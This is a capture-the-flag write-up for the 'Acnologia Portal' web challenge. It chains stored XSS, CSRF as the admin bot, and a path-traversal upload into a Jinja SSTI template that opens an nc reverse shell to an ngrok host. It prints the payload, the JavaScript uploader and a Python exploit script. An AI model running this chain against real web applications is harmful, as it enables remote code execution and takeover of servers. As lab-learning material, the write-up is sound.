Writeup for Cyber Apocalypse CTF 2022 challenge Acnologia Portal
Recon
Hack The Box arranged the Cyber Apocalypse CTF 2022 and Acnologia Portal is a web challenge that was marked with two stars (**). So it should be a challenge of medium difficulty. This is what the description says:
Bonnie has confirmed the location of the Acnologia spacecraft operated by the Golden Fang mercenary. Before taking over the spaceship, we need to disable its security measures. Ulysses discovered an accessible firmware management portal for the spacecraft. Can you help him get in?
Just some background story and not many obvious hints there. But we were given the source code and a docker container in a zip-archive so let’s see what I can find out by scanning through that.
Scanning
Manually analysing the zip archive
┌──(root㉿cb0fba8f3f1a)-[/]
└─# unzip web_acnologia_portal.zip
Archive: web_acnologia_portal.zip
creating: web_acnologia_portal/
creating: web_acnologia_portal/config/
inflating: web_acnologia_portal/config/supervisord.conf
inflating: web_acnologia_portal/build-docker.sh
creating: web_acnologia_portal/challenge/
creating: web_acnologia_portal/challenge/flask_session/
extracting: web_acnologia_portal/challenge/flask_session/.gitkeep
inflating: web_acnologia_portal/challenge/run.py
creating: web_acnologia_portal/challenge/application/
inflating: web_acnologia_portal/challenge/application/main.py
inflating: web_acnologia_portal/challenge/application/config.py
creating: web_acnologia_portal/challenge/application/blueprints/
inflating: web_acnologia_portal/challenge/application/blueprints/routes.py
creating: web_acnologia_portal/challenge/application/templates/
inflating: web_acnologia_portal/challenge/application/templates/dashboard.html
inflating: web_acnologia_portal/challenge/application/templates/review.html
inflating: web_acnologia_portal/challenge/application/templates/login.html
inflating: web_acnologia_portal/challenge/application/templates/register.html
inflating: web_acnologia_portal/challenge/application/database.py
inflating: web_acnologia_portal/challenge/application/util.py
creating: web_acnologia_portal/challenge/application/static/
creating: web_acnologia_portal/challenge/application/static/firmware_extract/
extracting: web_acnologia_portal/challenge/application/static/firmware_extract/.gitkeep
creating: web_acnologia_portal/challenge/application/static/images/
inflating: web_acnologia_portal/challenge/application/static/images/logo.png
creating: web_acnologia_portal/challenge/application/static/js/
inflating: web_acnologia_portal/challenge/application/static/js/main.js
inflating: web_acnologia_portal/challenge/application/static/js/bootstrap.min.js
inflating: web_acnologia_portal/challenge/application/static/js/auth.js
inflating: web_acnologia_portal/challenge/application/static/js/jquery-3.6.0.min.js
creating: web_acnologia_portal/challenge/application/static/css/
inflating: web_acnologia_portal/challenge/application/static/css/bootstrap.min.css
inflating: web_acnologia_portal/challenge/application/static/css/main.css
inflating: web_acnologia_portal/challenge/application/bot.py
extracting: web_acnologia_portal/flag.txt
inflating: web_acnologia_portal/Dockerfile
When unzipping the archive we can see that the app is built with python and there’s a template directory present which probably means Flask/Jinja is involved in this. There can be template injections further on. But first let’s just start up the web application in docker and then check it out in the browser.
With the docker loaded on our local machine let’s just use Firefox to browse to the “/” endpoint and see what happens.
Im greeted with a login page. I do not have any credentials but there’s a link to another page where I can create a new user. Let’s follow that.
We register a user called hacker with the password hacker. When I click the register button Im redirected to the login page again.
Let’s try to login using the credentials I entered in the last step. Click the login button and….
Im redirected to a dashboard. There’s a bunch of buttons that let’s me report a bug. Let’s click one of them.
Im presented with a free text field. I just give it the usual XSS payload just to enter something and when I click the submit button…
The same window stays in front. After a while there is a status text added indicating a successfull report. Nothing was really reflected back to us. No obvious injections deteted here but it could be a blind one so let’s check out the source code of routes.py so we can see what endpoints there are.
import json
from application.database import User, Firmware, Report, db, migrate_db
from application.util import is_admin, extract_firmware
from flask import Blueprint, jsonify, redirect, render_template, request
from flask_login import current_user, login_required, login_user, logout_user
from application.bot import visit_report
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
def response(message):
return jsonify({'message': message})
@web.route('/', methods=['GET'])
def login():
return render_template('login.html')
@api.route('/login', methods=['POST'])
def user_login():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('Missing required parameters!'), 401
user = User.query.filter_by(username=username).first()
if not user or not user.password == password:
return response('Invalid username or password!'), 403
login_user(user)
return response('User authenticated successfully!')
@web.route('/register', methods=['GET'])
def register():
return render_template('register.html')
@api.route('/register', methods=['POST'])
def user_registration():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('Missing required parameters!'), 401
user = User.query.filter_by(username=username).first()
if user:
return response('User already exists!'), 401
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
return response('User registered successfully!')
@web.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')
@api.route('/firmware/list', methods=['GET'])
@login_required
def firmware_list():
firmware_list = Firmware.query.all()
return jsonify([row.to_dict() for row in firmware_list])
@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
module_id = data.get('module_id', '')
issue = data.get('issue', '')
if not module_id or not issue:
return response('Missing required parameters!'), 401
new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
db.session.add(new_report)
db.session.commit()
visit_report()
migrate_db()
return response('Issue reported successfully!')
@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
if 'file' not in request.files:
return response('Missing required parameters!'), 401
extraction = extract_firmware(request.files['file'])
if extraction:
return response('Firmware update initialized successfully.')
return response('Something went wrong, please try again!'), 403
@web.route('/review', methods=['GET'])
@login_required
@is_admin
def review_report():
Reports = Report.query.all()
return render_template('review.html', reports=Reports)
@web.route('/logout')
@login_required
def logout():
logout_user()
return redirect('/')
There’s obviously the ones I already tried “/”, “/login”, “/register”, “/firmware/list” and “/firmware/report”. But there’s a bunch that are decorated with @is_admin. These are endpoints only an administrator can reach. And this one seems interesting:
@web.route('/review', methods=['GET'])
@login_required
@is_admin
def review_report():
Reports = Report.query.all()
return render_template('review.html', reports=Reports)
It renders a Flask/Jinja template let’s check out the review.html source code.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Firmware bug reports</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" />
</head>
<body>
<nav class="navbar navbar-default bg-dark justify-content-between">
<a class="navbar-brand ps-3" href="#">Firmware bug reports</a>
<ul class="navbar-nav mb-2 mb-lg-0 me-5">
<li class="nav-item">
<a class="nav-item active" href="#">Reports</a>
</li>
<li class="nav-item">
<a class="nav-item" href="/logout">Logout</a>
</li>
</ul>
</nav>
<div class="container" style="margin-top: 20px"> {% for report in reports %} <div class="card">
<div class="card-header"> Reported by : {{ report.reported_by }}
</div>
<div class="card-body">
<p class="card-title">Module ID : {{ report.module_id }}</p>
<p class="card-text">Issue : {{ report.issue | safe }} </p>
<a href="#" class="btn btn-primary">Reply</a>
<a href="#" class="btn btn-danger">Delete</a>
</div>
</div> {% endfor %} </div>
</body>
</html>
This {{ report.issue | safe }}
indicates a pretty probable XSS vulnerabilitiy since the safe word makes the text pass through as is. Let’s just verify this by trying to steal the Admin:s cookies. First start a simple web server to listen for incoming traffic.
~/ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
And then send a standard payload that tries to steal cookies from the users browser and send them to our listening web server.
Press the report button and let’s check out our python web server.
~/ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.2.49 - - [24/May/2022 16:08:17] "GET /? HTTP/1.1" 200 -
There’s a reply there so we do have XSS but there’s no cookie. Let’s inspect our cookie in the browsers developer tools.
Yes that’s the answer right there. The cookie is marked as HttpOnly which means it’s not accessible from javascript. But we can use the XSS vulnerability to perform requests authenticated as Admin and the cookie will be sent automatically. So we should be able to do some CSRF. Let’s check out some more endpoints that the Admin can reach.
@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
if 'file' not in request.files:
return response('Missing required parameters!'), 401
extraction = extract_firmware(request.files['file'])
if extraction:
return response('Firmware update initialized successfully.')
return response('Something went wrong, please try again!'), 403
We should be able to upload a file by designing an XSS payload. If we do that the function extract_firmware() is called. It can be found in util.py, lets see what it does.
def extract_firmware(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
rand_dir = generate(15)
extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
os.makedirs(extractdir, exist_ok=True)
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
try:
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
continue
except:
pass
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return True
return False
As far as I can see the file will be saved in the temp directory. More interesting is that there’s no sanity check on the filename. We could probably do some directory traversal here and overwrite files in the system by adding some ../../../../ to the filename. If the file is a tarfile more stuff happens. If that the directory traversal works we do not need to bother writing an evil tar since we can overwrite files anyway.
So we can overwrite files but how can that give us access to the system? Well we could overwrite some of the python files and include a reverse shell. BUT there’s one problem. This is run.py that starts the application.
from application.main import app
from application.database import migrate_db
with app.app_context():
migrate_db()
app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)
The debug=False
means that the python files are not reloaded automatically if changed. That’s how it should work in production. But can I do something with the templates? There’s dashboard.html, login.html and register.html and I need to visit every one to trigger the XSS in the first place. Once a template is loaded into memory it does not matter if I overwrite it on disk.
But if I script this I don’t need to do a HTTP/GET on “/register” only HTTP/POST. And as we can see here:
@api.route('/register', methods=['POST'])
def user_registration():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('Missing required parameters!'), 401
user = User.query.filter_by(username=username).first()
if user:
return response('User already exists!'), 401
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
return response('User registered successfully!')
A HTTP/POST does not call render_template() on the register.html. So perhaps I could register a new user, login and use the XSS/CSRF to trigger an overwrite of register.html which includes a SSTI (this is not really injection but we can use the sam payloads) template that gives RCE and a reverse shell. It’s time to do some scripting.
Gaining Access
Create a template for RCE and reverse shell
We are dealing with Flask/Jinja templating so we can use an SSTI payload. I design it like this.
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 8.tcp.ngrok.io 11491 >/tmp/f').read()}}
Create the javascript to do CSRF via XSS
The javascript payload needs to upload my own version of the register.html and use an evil filename including ../ to overwrite the register template. This is my javascript with the template payload embedded in some html that should overwrite the existing register.html.:
const payload =
"<!doctype html><body>{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 8.tcp.ngrok.io 11491 >/tmp/f').read()}}</body></html>";
var blob = new Blob([payload], { type: "text/plain" });
var formdata = new FormData();
formdata.append("file", blob, "../app/application/templates/register.html");
var requestOptions = {
method: "POST",
body: formdata,
};
fetch("http://localhost:1337/api/firmware/upload", requestOptions);
Now we need to script the HTTP/POST to “/register”, “/login” and “/firmware/report” so that we do not need go via the webpage and trigger that HTTP/GET on “/register” and destroy our chances of loading it after overwrite. Let’s do it in Python.
Creating the exploit script
One more thing to check out in the “/firmware/report”:
@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
module_id = data.get('module_id', '')
issue = data.get('issue', '')
if not module_id or not issue:
return response('Missing required parameters!'), 401
new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
db.session.add(new_report)
db.session.commit()
visit_report()
migrate_db()
return response('Issue reported successfully!')
In the end there migrate_db() is called and the entire database is wiped after every post. That means that we have to register a new user and login again in the end when we want to trigger our reverse shell by doing HTTP/GET on /register. So I design my exploit.py script like this:
import requests
url = "http://127.0.0.1:1337"
f = open("payload.js")
payload = f.read()
f.close()
r = requests.post(
url + "/api/register", json={"username": "hacker", "password": "hacker"}
)
r = requests.post(url + "/api/login", json={"username": "hacker", "password": "hacker"})
cookie = r.cookies["session"]
r = requests.post(
url + "/api/firmware/report",
cookies={"session": cookie},
json={"module_id": "1", "issue": f"<script>{payload}</script>"},
)
r = requests.get(url + "/register")
Now it’s time to try this out. Let’s start a netcat listener.
~/Downloads/ nc -lvn 1338
Let’s fire up ngrok to proxy request from the internet to my local listener. (We really do not need to do this now when we are running locally but during the contest we needed this to attack the live target.)
~/Downloads/ ./ngrok tcp 1338
ngrok (Ctrl+C to quit)
Session Status online
Account Christian Granström (Plan: Free)
Version 3.0.3
Region United States (us)
Latency 270.819347ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://8.tcp.ngrok.io:11491 -> localhost:1338
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Finally we execute our exploit script.
~/Downloads/ python exploit.py
And now take a look at our netcat listener.
Boom!!! We got ourselves a reverse shell an a well deserved flag.
Summary
First of all I like to give a big thank you to Hack The Box for once again giving us an awsome CTF. 61 challenges in 7 days is a bit daunting when you need to keep your customers happy at the same time. :) But we choose to solve the challenges that we did not have to spend too many hours on. In the end we solved 34 of them and that placed us as the best swedish team at place 52 out of 7024 teams. That’s a top 1% ranking in this competition and we are more than happy with that.
07:15 swedish time on the last day of the CTF the entire Cybix-team left Sweden for a weekend in Athens. I tried to solve the Acnologia Portal on the plane. I actually missed the deadline with an hour or two so this did not give us any points.
In the end I started to think about the flag HTB{des3r1aliz3_4ll_th3_th1ngs}
Deserialization??? WTF??? I did not do any deserialization to solve this one!!! I must have solved this in an unintended way. At the time of writing I can’t really figure out where to do some deserialization exploitation but I guess I have to check out some other writeup.
Until next time, happy hacking!
/f1rstr3am